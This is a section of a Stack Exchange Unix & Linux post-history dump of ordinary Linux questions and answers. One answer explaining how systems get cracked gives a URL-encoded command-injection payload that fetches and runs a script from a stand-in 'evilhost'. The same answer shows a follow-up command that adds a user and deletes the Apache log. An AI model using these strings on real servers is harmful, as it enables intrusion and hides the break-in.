  <row Id="29790" PostHistoryTypeId="2" PostId="12190" RevisionGUID="0828b0af-5daa-49c0-a3bc-60b4a34de765" CreationDate="2011-04-22T16:57:37.293" UserDisplayName="ibmkhd" Text="I have ParleysDesktop installed on my feodra 13 and I want to format it.&#xD;&#xA;&#xD;&#xA;Can i make a backup for the videos I have installed ,to put them again after format?  And if i can what should i need to copy.&#xD;&#xA;&#xD;&#xA;BTW i still don't know where is videos stored ,the application is in `/opt/ParleysDesktop/bin` but i don't know where to find the videos.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thanks in advance" />
  <row Id="29791" PostHistoryTypeId="1" PostId="12190" RevisionGUID="0828b0af-5daa-49c0-a3bc-60b4a34de765" CreationDate="2011-04-22T16:57:37.293" UserDisplayName="ibmkhd" Text="Backup parleys videos" />
  <row Id="29792" PostHistoryTypeId="3" PostId="12190" RevisionGUID="0828b0af-5daa-49c0-a3bc-60b4a34de765" CreationDate="2011-04-22T16:57:37.293" UserDisplayName="ibmkhd" Text="éuntaggedà" />
  <row Id="29793" PostHistoryTypeId="17" PostId="12190" RevisionGUID="b83d7d64-153e-4722-84fe-7788e98e06f0" CreationDate="2011-04-28T13:29:07.193" UserId="-1" Comment="from http://meta.unix.stackexchange.com/questions/596/backup-parleys-videos" Text="" />
  <row Id="29794" PostHistoryTypeId="5" PostId="12190" RevisionGUID="de21a5b4-b0b3-4649-8128-393cfedd6c08" CreationDate="2011-04-28T13:42:21.607" UserId="73" Comment="deleted 84 characters in body; edited tags" Text="I have Parleys Desktop installed on Fedora 13 and I want to format the disk. Can I make a backup of the videos I have installed so I can restore them after the format?  What do I need to copy? I don't know where the videos are stored; the application is in `/opt/ParleysDesktop/bin`" />
  <row Id="29795" PostHistoryTypeId="6" PostId="12190" RevisionGUID="de21a5b4-b0b3-4649-8128-393cfedd6c08" CreationDate="2011-04-28T13:42:21.607" UserId="73" Comment="deleted 84 characters in body; edited tags" Text="ébackupàéparleysödesktopà" />
  <row Id="29796" PostHistoryTypeId="17" PostId="12192" RevisionGUID="6119ff89-3589-4473-8812-62b6b30ee16f" CreationDate="2011-04-28T13:47:12.593" UserId="-1" Comment="from http://stackoverflow.com/questions/5804010/latest-pidgin-installed-but-still-system-is-opening-up-older-version/5815538#5815538" Text="" />
  <row Id="29797" PostHistoryTypeId="2" PostId="12192" RevisionGUID="c05b2f33-1cf3-4254-aa74-e3edca8610dc" CreationDate="2011-04-28T08:04:38.240" UserDisplayName="The Bndr" Text="It seams your Desktop-Link points to the old version of pidgin.&#xD;&#xA;What kind of Desktop Manager you are using? Depending on your Desktop-Manager you can change that link (Desktop Icon --to--&gt; binary).&#xD;&#xA;&#xD;&#xA;To find out the location of the &quot;default&quot; pidgin use an console-command&#xD;&#xA;&#xD;&#xA;    type pidgin&#xD;&#xA;&#xD;&#xA;...should return something like &quot;pidgin is /usr/bin/pidgin&quot;&#xD;&#xA;&#xD;&#xA;What version of pidgin starts, if you are running that binary which is returned by &quot;type pidgin&quot;&#xD;&#xA;&#xD;&#xA;What linux distribution/packet manager you are using? Depending on that packet manager there are different command-line tools to get the information which pidgin package is installed.&#xD;&#xA;&#xD;&#xA;Look at your error-log.&#xD;&#xA;Did you recognize the following lines?&#xD;&#xA;&#xD;&#xA;    No package Pidgin available.&#xD;&#xA;      * Maybe you meant: pidgin&#xD;&#xA;&#xD;&#xA;Remember, that linux works case sensitives." />
  <row Id="29798" PostHistoryTypeId="2" PostId="12191" RevisionGUID="e9e2729a-9ced-4860-888c-7dc6cf6665c2" CreationDate="2011-04-27T12:21:51.953" UserDisplayName="developer" Text="i have installed a new version of pidgin chat-client 2.7.11 and in my linux system's application manager this pidgin is selected only But still when i open pidgin the older version 2.7.8 opens up :(&#xD;&#xA;&#xD;&#xA;When i tried to remove it from root then it gives the following error --&#xD;&#xA;&#xD;&#xA;    Loaded plugins: fastestmirror&#xD;&#xA;    Setting up Remove Process&#xD;&#xA;    No Match for argument: Pidgin&#xD;&#xA;    Loading mirror speeds from cached hostfile&#xD;&#xA;     * addons: mirrors.bd-servers.net&#xD;&#xA;     * base: mirrors.bd-servers.net&#xD;&#xA;     * extras: mirrors.bd-servers.net&#xD;&#xA;     * updates: mirrors.bd-servers.net&#xD;&#xA;    No package Pidgin available.&#xD;&#xA;      * Maybe you meant: pidgin&#xD;&#xA;    No Match for argument: 2.7.8&#xD;&#xA;    No Packages marked for removal&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Why my older version is opening up when i have latest one installed in my system. From where is this older one getting picked up?? please help !!" />
  <row Id="29799" PostHistoryTypeId="1" PostId="12191" RevisionGUID="e9e2729a-9ced-4860-888c-7dc6cf6665c2" CreationDate="2011-04-27T12:21:51.953" UserDisplayName="developer" Text="latest pidgin installed but still system is opening up older version" />
  <row Id="29800" PostHistoryTypeId="3" PostId="12191" RevisionGUID="e9e2729a-9ced-4860-888c-7dc6cf6665c2" CreationDate="2011-04-27T12:21:51.953" UserDisplayName="developer" Text="élinuxàéchatàépidginà" />
  <row Id="29801" PostHistoryTypeId="17" PostId="12191" RevisionGUID="c0c7ea0a-ab50-4000-b14e-867c11d13817" CreationDate="2011-04-28T13:47:12.593" UserId="-1" Comment="from http://stackoverflow.com/questions/5804010/latest-pidgin-installed-but-still-system-is-opening-up-older-version" Text="" />
  <row Id="29802" PostHistoryTypeId="17" PostId="12194" RevisionGUID="e290b3a5-4849-46ea-9f50-d7e33f9865cb" CreationDate="2011-04-28T14:07:42.690" UserId="-1" Comment="from http://serverfault.com/questions/162289/transcoding-mjpeg-stream-to-flv-or-mp4/264298#264298" Text="" />
  <row Id="29803" PostHistoryTypeId="2" PostId="12194" RevisionGUID="50744d98-4b83-4395-b61a-ffcdfeff6d46" CreationDate="2011-04-28T13:12:09.330" UserDisplayName="rmalayter" Text="Use cURL to handle the HTTP request with authentication, and pipe CURL's output to the stdin of ffmpeg to handle transcoding. You can break it into segments or something as needed. If you need a live stream, things get more complicated, and a commercial solution is probably going to be a lot easier to deal with than any of the open source stuff out there." />
  <row Id="29804" PostHistoryTypeId="2" PostId="12193" RevisionGUID="426c9243-59e1-48b4-b612-16ede22a0d08" CreationDate="2010-07-20T16:45:59.433" UserId="2427" Text="I want to transcode MJPEG stream that comes from IP camera (http://xx.yy.zz.tt:8080/video.cgi) to FLV or MP4 stream under Linux OS so that users can play the file using a web based Flash player such as Flowplayer.&#xD;&#xA;&#xD;&#xA;I discovered VLC for that purpose but I cannot figure out the exact command line string. I also need HTTP authentication feature since IP camera access is password protected.&#xD;&#xA;&#xD;&#xA;I also interested in any non-VLC solution if any (ffmpeg?).&#xD;&#xA;" />
  <row Id="29805" PostHistoryTypeId="1" PostId="12193" RevisionGUID="426c9243-59e1-48b4-b612-16ede22a0d08" CreationDate="2010-07-20T16:45:59.433" UserId="2427" Text="Transcoding MJPEG Stream to FLV or MP4" />
  <row Id="29806" PostHistoryTypeId="3" PostId="12193" RevisionGUID="426c9243-59e1-48b4-b612-16ede22a0d08" CreationDate="2010-07-20T16:45:59.433" UserId="2427" Text="évlcà" />
  <row Id="29807" PostHistoryTypeId="17" PostId="12193" RevisionGUID="b05366f8-3f32-4a43-8cb1-55f158385f6c" CreationDate="2011-04-28T14:07:42.690" UserId="-1" Comment="from http://serverfault.com/questions/162289/transcoding-mjpeg-stream-to-flv-or-mp4" Text="" />
  <row Id="29808" PostHistoryTypeId="2" PostId="12195" RevisionGUID="6121cfd9-7410-4324-a017-6548b655ac1f" CreationDate="2011-04-28T14:22:16.500" UserId="688" Text="I set up my ssh stuff with the help of [this guide][1], and it used to work well (I could run `hg push` without being asked for a passphrase). What could have happened between then and now, considering that I'm still using the same home directory.&#xD;&#xA;&#xD;&#xA;    $ cat .hg/hgrc &#xD;&#xA;    [paths]&#xD;&#xA;    default = ssh://hg@bitbucket.org/tshepang/bloog&#xD;&#xA;&#xD;&#xA;    $ hg push&#xD;&#xA;    Enter passphrase for key '/home/wena/.ssh/id_rsa': &#xD;&#xA;    pushing to ssh://hg@bitbucket.org/tshepang/bloog&#xD;&#xA;    searching for changes&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;  [1]: http://confluence.atlassian.com/display/BITBUCKET/Using+SSH+to+Access+your+Bitbucket+Repository" />
  <row Id="29809" PostHistoryTypeId="1" PostId="12195" RevisionGUID="6121cfd9-7410-4324-a017-6548b655ac1f" CreationDate="2011-04-28T14:22:16.500" UserId="688" Text="How to avoid being asked passphrase each time I push to Bitbucket" />
  <row Id="29810" PostHistoryTypeId="3" PostId="12195" RevisionGUID="6121cfd9-7410-4324-a017-6548b655ac1f" CreationDate="2011-04-28T14:22:16.500" UserId="688" Text="ésshà" />
  <row Id="29811" PostHistoryTypeId="2" PostId="12196" RevisionGUID="17d0d994-608b-48ba-a88d-470957a923ff" CreationDate="2011-04-28T14:24:55.110" UserId="2362" Text="I want to automate my typing. I can use window managers such as gnome and fvwm.&#xD;&#xA;&#xD;&#xA;I can access to ubuntu and obsd." />
  <row Id="29812" PostHistoryTypeId="1" PostId="12196" RevisionGUID="17d0d994-608b-48ba-a88d-470957a923ff" CreationDate="2011-04-28T14:24:55.110" UserId="2362" Text="How can I press key of &quot;keycode 53&quot; every minute in X?" />
  <row Id="29813" PostHistoryTypeId="3" PostId="12196" RevisionGUID="17d0d994-608b-48ba-a88d-470957a923ff" CreationDate="2011-04-28T14:24:55.110" UserId="2362" Text="éubuntuàékeyboardàéwindowömanageràéopenbsdà" />
  <row Id="29814" PostHistoryTypeId="2" PostId="12197" RevisionGUID="1ed4d2dc-bea8-4f6e-b46c-11646a7eebda" CreationDate="2011-04-28T14:37:46.973" UserId="1090" Text="I happen to know about rsyn, and I use rsync to sync between my mac and a linux server as follows.&#xD;&#xA;&#xD;&#xA;    sync -r -t -v MAC LINUX&#xD;&#xA;    sync -r -t -v LINUX MAC&#xD;&#xA;&#xD;&#xA;I expected to run the first command to sync, but I needed the second command also when a change is made in LINUX.&#xD;&#xA;&#xD;&#xA;Am I missing something? Does rsync have an option to sync between two directories? &#xD;&#xA;" />
  <row Id="29815" PostHistoryTypeId="1" PostId="12197" RevisionGUID="1ed4d2dc-bea8-4f6e-b46c-11646a7eebda" CreationDate="2011-04-28T14:37:46.973" UserId="1090" Text="Syncing directories with rsync" />
  <row Id="29816" PostHistoryTypeId="3" PostId="12197" RevisionGUID="1ed4d2dc-bea8-4f6e-b46c-11646a7eebda" CreationDate="2011-04-28T14:37:46.973" UserId="1090" Text="érsyncàésyncà" />
  <row Id="29817" PostHistoryTypeId="2" PostId="12198" RevisionGUID="fbc4c27d-68ec-4ffe-8fe2-4bac922c33d2" CreationDate="2011-04-28T14:40:48.033" UserId="1090" Text="Let's say I have a file a.txt in LINUX with permission of 0664.&#xD;&#xA;When I use rsync to copy the file to my Mac with `rsync -r -t -v LINUX MAC`, the file's permission becomes 0644. &#xD;&#xA;&#xD;&#xA;How can I keep the permission for a file when using rsync? The -g option doesn't work. " />
  <row Id="29818" PostHistoryTypeId="1" PostId="12198" RevisionGUID="fbc4c27d-68ec-4ffe-8fe2-4bac922c33d2" CreationDate="2011-04-28T14:40:48.033" UserId="1090" Text="Preserve the permissions with rsync" />
  <row Id="29819" PostHistoryTypeId="3" PostId="12198" RevisionGUID="fbc4c27d-68ec-4ffe-8fe2-4bac922c33d2" CreationDate="2011-04-28T14:40:48.033" UserId="1090" Text="érsyncàésyncà" />
  <row Id="29820" PostHistoryTypeId="2" PostId="12199" RevisionGUID="dd358c00-ad90-4466-a395-adef7f870201" CreationDate="2011-04-28T14:43:35.847" UserId="1835" Text="You want the -p flag:&#xD;&#xA;&#xD;&#xA;        -p, --perms                 preserve permissions&#xD;&#xA;&#xD;&#xA;I tend to always use the -a flag, which is an aggregation of -p and several other useful ones:&#xD;&#xA;&#xD;&#xA;        -a, --archive               archive mode; equals -rlptgoD (no -H,-A,-X)&#xD;&#xA;&#xD;&#xA;Both taken straight from [the rsync manpage](http://ss64.com/bash/rsync.html)." />
  <row Id="29821" PostHistoryTypeId="2" PostId="12200" RevisionGUID="c7278fa7-ec1e-4ff2-b709-7a0014cf2c3f" CreationDate="2011-04-28T14:45:09.763" UserId="1835" Text="You want bi-directional sync.  Take a look at unison, which does this: http://www.cis.upenn.edu/~bcpierce/unison/" />
  <row Id="29822" PostHistoryTypeId="2" PostId="12201" RevisionGUID="a8ae3471-3768-4644-ba16-51cc85f7042b" CreationDate="2011-04-28T14:47:30.120" UserId="1835" Text="You need to use an ssh agent.  Short answer: try &#xD;&#xA;&#xD;&#xA;    $ ssh-add&#xD;&#xA;&#xD;&#xA;before pushing.  Supply your passphrase when asked.&#xD;&#xA;&#xD;&#xA;If you aren't already running an ssh agent you will get the following message:&#xD;&#xA;&#xD;&#xA;    Could not open a connection to your authentication agent.&#xD;&#xA;&#xD;&#xA;In that situation, you can start one and set your environment up thusly&#xD;&#xA;&#xD;&#xA;    eval $(ssh-agent)&#xD;&#xA;&#xD;&#xA;Then repeat the `ssh-add` command.&#xD;&#xA;&#xD;&#xA;It's worth taking a look at the [ssh agent manpage](http://www.openbsd.org/cgi-bin/man.cgi?query=ssh-agent&amp;sektion=1)." />
  <row Id="29823" PostHistoryTypeId="2" PostId="12202" RevisionGUID="63aa7bab-f741-4f6e-9d2b-12cc70134442" CreationDate="2011-04-28T14:52:02.427" UserId="1835" Text="The flag you want is `-invisible`. See this example, adapted from http://ubuntuforums.org/showthread.php?t=786697&#xD;&#xA;&#xD;&#xA;    ooffice -invisible macro:///Standard.Module1.SaveAsXHTML(&quot;/tmp/somefile.rtf&quot;)" />
  <row Id="29824" PostHistoryTypeId="5" PostId="12198" RevisionGUID="69cf80ab-165a-4505-b3ed-25cac79ed11a" CreationDate="2011-04-28T14:53:56.873" UserId="1090" Comment="added 4 characters in body" Text="Let's say I have a file a.txt in LINUX with permission of 0664.&#xD;&#xA;When I use rsync to copy the file to my Mac with `rsync -r -t -v LINUX MAC`, the file's permission becomes 0644. &#xD;&#xA;&#xD;&#xA;How can I keep the permission for a file when using rsync? The -g option doesn't work. &#xD;&#xA;&#xD;&#xA;" />
  <row Id="29825" PostHistoryTypeId="2" PostId="12203" RevisionGUID="a05b3482-e56a-49b5-9655-4e2de0ddf807" CreationDate="2011-04-28T14:57:40.800" UserId="1090" Text="When I use the -a option as is asked and answered in &lt;a href=&quot;http://unix.stackexchange.com/questions/12198/preserve-the-permissions-with-rsync&quot;&gt;Preserve the permissions with rsync&lt;/a&gt;, I got a lot of &quot;rsync: failed to set permissions on&quot; errors.&#xD;&#xA;&#xD;&#xA;    rsync: failed to set permissions on &quot;/ata/text/RCS/jvlc,v&quot;: Operation not permitted (1)&#xD;&#xA;    rsync: failed to set permissions on &quot;/ata/text/RCS/jvm,v&quot;: Operation not permitted (1)&#xD;&#xA;    rsync: failed to set permissions on ...&#xD;&#xA;&#xD;&#xA;Why is this? The files are normal files with permission of 0664." />
  <row Id="29826" PostHistoryTypeId="1" PostId="12203" RevisionGUID="a05b3482-e56a-49b5-9655-4e2de0ddf807" CreationDate="2011-04-28T14:57:40.800" UserId="1090" Text="&quot;rsync: failed to set permissions on ...&quot; error with rsync -a or -p option" />
  <row Id="29827" PostHistoryTypeId="3" PostId="12203" RevisionGUID="a05b3482-e56a-49b5-9655-4e2de0ddf807" CreationDate="2011-04-28T14:57:40.800" UserId="1090" Text="érsyncàésyncà" />
  <row Id="29828" PostHistoryTypeId="2" PostId="12204" RevisionGUID="2827c4dd-7b06-4e60-b2e7-7a11167af0f0" CreationDate="2011-04-28T15:05:01.933" UserId="6969" Text="It might sound stupid, but have you made `sda3` bootable? You should run the partitioner again and check if the bootable flag is on. &#xD;&#xA;&#xD;&#xA;Furthermore, I'd recommend you not use the automatic partitioner when installing Linux alongside OSX. My experience is that they don't like each other (though it's been a year since I've tried). " />
  <row Id="29829" PostHistoryTypeId="2" PostId="12205" RevisionGUID="51bcd551-376f-4afd-9e1b-087869519a8a" CreationDate="2011-04-28T15:06:33.617" UserId="4877" Text="No im not looking to become a &quot;hacker&quot; or something like that, but Im trying to figure out the process (more from a programming perspective).&#xD;&#xA;&#xD;&#xA;So im assuming (guessing) a hackers main goal is to gain root access to install whatever software (or script) he's written up right? or maybe installing their own kernal module (thats devious for whatever reason)&#xD;&#xA;How exactly does a person go about doing this?&#xD;&#xA;&#xD;&#xA;I know people use scripts to check for exploits......but I don't see how, and I also don't exactly see what they do with them once they find them? Are they checking versions for known exploits......and then once they find one.......&#xD;&#xA;&#xD;&#xA;I know this all sounds very newbish. but im just trying to get an idea of how it works since I know Linux/Unix systems are supposed to be very secure but im trying to figure out how someone would even go about (the process) of gaining root access." />
  <row Id="29830" PostHistoryTypeId="1" PostId="12205" RevisionGUID="51bcd551-376f-4afd-9e1b-087869519a8a" CreationDate="2011-04-28T15:06:33.617" UserId="4877" Text="How exactly do people &quot;crack&quot; Unix/Linux Systems?" />
  <row Id="29831" PostHistoryTypeId="3" PostId="12205" RevisionGUID="51bcd551-376f-4afd-9e1b-087869519a8a" CreationDate="2011-04-28T15:06:33.617" UserId="4877" Text="élinuxàéhackingà" />
  <row Id="29832" PostHistoryTypeId="25" PostId="12195" RevisionGUID="f4694239-0a0c-411d-88a6-259c5a5e8a7c" CreationDate="2011-04-28T15:09:19.510" Comment="http://twitter.com/#!/StackUnix/status/63620815761047552" />
  <row Id="29833" PostHistoryTypeId="17" PostId="12207" RevisionGUID="202ef67f-4d40-454c-9e8a-f52cdc8d9df9" CreationDate="2011-04-28T15:16:21.170" UserId="-1" Comment="from http://stackoverflow.com/questions/5820328/debian-gnome-unable-to-login/5820412#5820412" Text="" />
  <row Id="29834" PostHistoryTypeId="2" PostId="12207" RevisionGUID="be297ad6-6433-4dc2-856e-9ef1f62b5ba4" CreationDate="2011-04-28T14:43:15.503" UserId="6863" Text="`ALT+F1` should get you to console TTY. You can login from there, and add a regular user for yourself, etc. If that doesn't work, you'll have to boot in single-user mode. Just follow the [steps here][1] and then add user using the syntax below:&#xD;&#xA;&#xD;&#xA;    useradd -m -s /bin/bash userName&#xD;&#xA;    passwd userName&#xD;&#xA;&#xD;&#xA;where `userName` is the name of the user to create. You can then reboot into normal mode if you booted in single-user mode or switch consoles to graphical console by hitting `ALT+F7`&#xD;&#xA;&#xD;&#xA;  [1]: http://nixcraft.com/linux-software/246-debian-boot-into-grub-single-user-mode.html" />
  <row Id="29835" PostHistoryTypeId="2" PostId="12206" RevisionGUID="982aa3e3-cac3-4887-8b6a-1aded2f6428d" CreationDate="2011-04-28T14:37:21.233" UserDisplayName="Alexander Grosse" Text="HI guys,&#xD;&#xA;&#xD;&#xA;might be wrong forum, but have to try it out here as well !&#xD;&#xA;&#xD;&#xA;i am new to Linux, installed Gnome, and unable to login, as only root is set, and disabled . . as i read on internet.&#xD;&#xA;&#xD;&#xA;Now how do i get back to the command line, at least i can deal with that and fix my issues from there, but I am unable to bypass the Gnome login screen !?&#xD;&#xA;&#xD;&#xA;Many thanks for any hints and tips&#xD;&#xA;regards&#xD;&#xA;alex" />
  <row Id="29836" PostHistoryTypeId="1" PostId="12206" RevisionGUID="982aa3e3-cac3-4887-8b6a-1aded2f6428d" CreationDate="2011-04-28T14:37:21.233" UserDisplayName="Alexander Grosse" Text="Debian Gnome unable to login" />
  <row Id="29837" PostHistoryTypeId="3" PostId="12206" RevisionGUID="982aa3e3-cac3-4887-8b6a-1aded2f6428d" CreationDate="2011-04-28T14:37:21.233" UserDisplayName="Alexander Grosse" Text="élinuxàéwebserveràédebianàégnomeà" />
  <row Id="29838" PostHistoryTypeId="17" PostId="12206" RevisionGUID="e98b22bb-b564-430a-b780-6377b4b2a353" CreationDate="2011-04-28T15:16:21.170" UserId="-1" Comment="from http://stackoverflow.com/questions/5820328/debian-gnome-unable-to-login" Text="" />
  <row Id="29839" PostHistoryTypeId="2" PostId="12208" RevisionGUID="66d98a43-0657-41f3-80ef-539c8d83675f" CreationDate="2011-04-28T15:29:40.047" UserId="7042" Text="On the target system, is sh actually bash?  It very well may not be, which is one potential reason for your .bashrc being read automatically.&#xD;&#xA;&#xD;&#xA;Does running 'bash runme.sh' work?  If so, that's your problem.&#xD;&#xA;&#xD;&#xA;Also as someone pointed out already, if you have anything that detects whether your shell is running interactively in your .bashrc, your variables must be set above this code.&#xD;&#xA;" />
  <row Id="29840" PostHistoryTypeId="2" PostId="12209" RevisionGUID="f0855cbc-8ddc-4bdc-b2d4-e8cab5e4f764" CreationDate="2011-04-28T15:37:17.977" UserId="4430" Text="Based on this page: http://code.google.com/speed/page-speed/docs/payload.html#GzipCompression&#xD;&#xA;&#xD;&#xA;I need to emable compression on my website, but I have no idea how to do this.  If this is the right stackexchange page for me to ask this question, could you please help me do this setup?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="29841" PostHistoryTypeId="1" PostId="12209" RevisionGUID="f0855cbc-8ddc-4bdc-b2d4-e8cab5e4f764" CreationDate="2011-04-28T15:37:17.977" UserId="4430" Text="Configure webserver for compression" />
  <row Id="29842" PostHistoryTypeId="3" PostId="12209" RevisionGUID="f0855cbc-8ddc-4bdc-b2d4-e8cab5e4f764" CreationDate="2011-04-28T15:37:17.977" UserId="4430" Text="élinuxàéapacheàéwebserveràécompressionàégzipà" />
  <row Id="29843" PostHistoryTypeId="17" PostId="12211" RevisionGUID="5858131c-d051-4a3e-8664-2a1c7bcca68b" CreationDate="2011-04-28T15:45:01.173" UserId="-1" Comment="from http://stackoverflow.com/questions/5766321/gnu-utility-sort/5766431#5766431" Text="" />
  <row Id="29844" PostHistoryTypeId="17" PostId="12212" RevisionGUID="9b57a3e3-984a-4271-b88f-58d5d8066cff" CreationDate="2011-04-28T15:45:01.173" UserId="-1" Comment="from http://stackoverflow.com/questions/5766321/gnu-utility-sort/5766436#5766436" Text="" />
  <row Id="29845" PostHistoryTypeId="2" PostId="12211" RevisionGUID="1094ee1b-07ba-4d4c-b78f-fc72a5f8a36c" CreationDate="2011-04-23T19:37:28.787" UserDisplayName="Carl Norum" Text="If you want a stable sort (relative order of the input rows is preserved in case of ties), you need to use the `-s` or `--stable` flag." />
  <row Id="29846" PostHistoryTypeId="2" PostId="12212" RevisionGUID="1db6b91c-d424-491c-ab20-30de005126f6" CreationDate="2011-04-23T19:38:14.407" UserDisplayName="Ignacio Vazquez-Abrams" Text="If you want GNU sort to be &lt;a href=&quot;http://en.wikipedia.org/wiki/Sorting_algorithm#Stability&quot;&gt;**stable**&lt;/a&gt; then you must pass `-s`. Otherwise, records with the same key will come out in an arbitrary order based on `sort`'s internal algorithm." />
  <row Id="29847" PostHistoryTypeId="2" PostId="12210" RevisionGUID="14803b3e-8683-497d-a368-b09f911d6a0c" CreationDate="2011-04-23T19:14:07.533" UserDisplayName="George" Text="I have an issue sorting a file based on the first two columns.&#xD;&#xA;&#xD;&#xA;The layout of the file is:&#xD;&#xA;&#xD;&#xA;    1 998688068 PizzaFan Insurance 22.47&#xD;&#xA;    5 072821325 Plaisio Computers 26.35&#xD;&#xA;    4 998688068 PizzaFan Food 27.32&#xD;&#xA;    5 456834578 G.Yannopoulos Medical 91.67&#xD;&#xA;....&#xD;&#xA;....&#xD;&#xA;&#xD;&#xA;I used this command :&#xD;&#xA;`sort -n -k 1,2 &quot;$fpath&quot; -o &quot;$fpath.ordered&quot; `&#xD;&#xA;&#xD;&#xA;The sort result is:&#xD;&#xA;&#xD;&#xA;    1 473151252 Goodys Food 7.15&#xD;&#xA;    1 951515524 Atlantic SuperMarket 41.32&#xD;&#xA;    1 998688068 Atlantic SuperMarket 80.23&#xD;&#xA;    1 998688068 PizzaFan Food 61.72&#xD;&#xA;    1 998688068 PizzaFan Insurance 22.47&#xD;&#xA;    2 094321587 Vasilopoulos SuperMarket 6.50&#xD;&#xA;....&#xD;&#xA;....&#xD;&#xA;&#xD;&#xA;I don't understand why all columns get sorted (see 3rd column &amp; PizzaFan Insurance)&#xD;&#xA;&#xD;&#xA;I think -k 1,2 means sort on column 1 and resolve ties with column 2, but it's like it doesn't work.&#xD;&#xA;&#xD;&#xA;It's the same as using the:&#xD;&#xA;`sort -n &quot;$fpath&quot; -o &quot;$fpath.ordered&quot;`" />
  <row Id="29848" PostHistoryTypeId="1" PostId="12210" RevisionGUID="14803b3e-8683-497d-a368-b09f911d6a0c" CreationDate="2011-04-23T19:14:07.533" UserDisplayName="George" Text="GNU utility: sort " />
  <row Id="29849" PostHistoryTypeId="3" PostId="12210" RevisionGUID="14803b3e-8683-497d-a368-b09f911d6a0c" CreationDate="2011-04-23T19:14:07.533" UserDisplayName="George" Text="ébashàécommandölineà" />
  <row Id="29850" PostHistoryTypeId="17" PostId="12210" RevisionGUID="2e3884b7-3be9-4ffb-bd3c-703ae5fa6baa" CreationDate="2011-04-28T15:45:01.173" UserId="-1" Comment="from http://stackoverflow.com/questions/5766321/gnu-utility-sort" Text="" />
  <row Id="29851" PostHistoryTypeId="5" PostId="12209" RevisionGUID="1341be1c-00e6-4cab-a77d-7c2c7979207e" CreationDate="2011-04-28T15:48:05.170" UserId="4430" Comment="edited body" Text="Based on this page: http://code.google.com/speed/page-speed/docs/payload.html#GzipCompression&#xD;&#xA;&#xD;&#xA;I need to enable compression on my website, but I have no idea how to do this.  If this is the right stackexchange page for me to ask this question, could you please help me do this setup?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="29852" PostHistoryTypeId="2" PostId="12213" RevisionGUID="d6a2290c-0811-4c6b-acd5-96e910a5eb5d" CreationDate="2011-04-28T15:55:12.507" UserId="3645" Text="There are so many attack vectors as to be near infinite. One of the simplest conceptually is to make a program publicly available, and saying that it does something other than it really does. Give the users friendly instructions with a `sudo` at the start, and watch the world go boom. This happens every day with closed source programs, since it's unfeasible for a single person to inspect its workings beforehand, as seen with for example [Sony CDs][1].&#xD;&#xA;&#xD;&#xA;You can also try to send special strings to a remote host. For a high-level example, say you have a web server with some software running on it, and that software *runs part of the URL as a command* without escaping or otherwise ensuring that it can't do any harm. Send something like `http://www.example.org/search?q=foo%3Bwget%20http%3A%2F%2Fevilhost%2Fscript.sh%3B%20chmod%20u%2Bx%20script.sh%3B%20.%2Fscript.sh`. Decoded, the search string becomes `foo;wget http://evilhost/script.sh; chmod u+x script.sh; ./script.sh`. If that is run, script.sh would run with the same access rights as the web server user to do anything on the machine. Sometimes people let these run as root for &quot;convenience,&quot; in this case a synonym for laziness and/or cluelessness. Even if it is not run as root, that script could then run thousands of tests for other holes in installed software, and run another command if it finds one. That last command could for example be `useradd blabla; apt-get install openssh; rm /var/log/apache.log`, to gain SSH access and remove traces of the break-in.&#xD;&#xA;&#xD;&#xA;[the commands were obviously simplified and probably wouldn't work anyway. YMMV]&#xD;&#xA;&#xD;&#xA;  [1]: https://secure.wikimedia.org/wikipedia/en/wiki/Sony_BMG_copy_protection_rootkit_scandal" />
  <row Id="29856" PostHistoryTypeId="2" PostId="12216" RevisionGUID="d3564c9f-1990-4e20-a3e4-5845041267af" CreationDate="2011-04-28T16:01:43.733" UserId="1027" Text="You should start googling words 'apache compression'. First link in SERP will lead you to http://httpd.apache.org/docs/2.0/mod/mod_deflate.html" />
  <row Id="29857" PostHistoryTypeId="5" PostId="11279" RevisionGUID="ef2d5e28-f7c2-4d32-b39d-5f7c1b63d0df" CreationDate="2011-04-28T16:03:33.967" UserId="1090" Comment="added 213 characters in body" Text="When I access a linux machine with sshfs, I take the following steps.&#xD;&#xA;&#xD;&#xA;1. Get the ip address of the linux (the ip address is dynamically allocated to linux)&#xD;&#xA;2. Run sshfs id@ip_address:/HOME_DIRECTORY&#xD;&#xA;&#xD;&#xA;Can I use a name, not ip address to access the linux machine? &#xD;&#xA;&#xD;&#xA;## ADDED&#xD;&#xA;To me, avahi seems to be the best solution as it enables Mac understands the name without any configuration. With ubuntu, I could install avahi as follows :&#xD;&#xA;&#xD;&#xA;    sudo apt-get install avahi-daemon&#xD;&#xA;&#xD;&#xA;" />
  <row Id="29858" PostHistoryTypeId="2" PostId="12217" RevisionGUID="ff218f3b-4fb9-4d69-a550-d90f77d8934b" CreationDate="2011-04-28T16:12:26.003" UserId="250" Text="Security of a system depends on the skills of the administrator(s), so it's sort of wrong to say &quot;Linux/Unix systems are supposed to be very secure&quot; :)&#xD;&#xA;&#xD;&#xA;Now to go about hacking... There is a kind of tools called &quot;[vulnerability scanner][1]&quot; like [Nessus][2] that looks for things to be exploited. There are thousand of things that can go wrong in a complex system, such as a mis-configured Apache server to allow uploading of arbitrary files to arbitrary places. Those can serve as a stepping stone for further exploits, such as gaining access to a database, or an email account from which the passwords can be restored through the &quot;forget password&quot; feature.&#xD;&#xA;&#xD;&#xA;Sometimes a hack is to gain access and do something evil. Sometimes people do it for fun (which is silly, by the way).&#xD;&#xA;&#xD;&#xA;AND, here is a [story][3] of a famous hack that happened quite recently. I think it will be illustrative to anyone who is looking at security! To quote a summary of exploits:&#xD;&#xA;&#xD;&#xA;&gt; A Web application with SQL injection flaws and insecure passwords. Passwords that were badly chosen. Passwords that were reused. Servers that allowed password-based authentication. Systems that weren't patched. And an astonishing willingness to hand out credentials over e-mail, even when the person being asked for them should have realized something was up.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Vulnerability_scanner&#xD;&#xA;  [2]: http://www.tenable.com/products/nessus&#xD;&#xA;  [3]: http://arstechnica.com/tech-policy/news/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack.ars" />
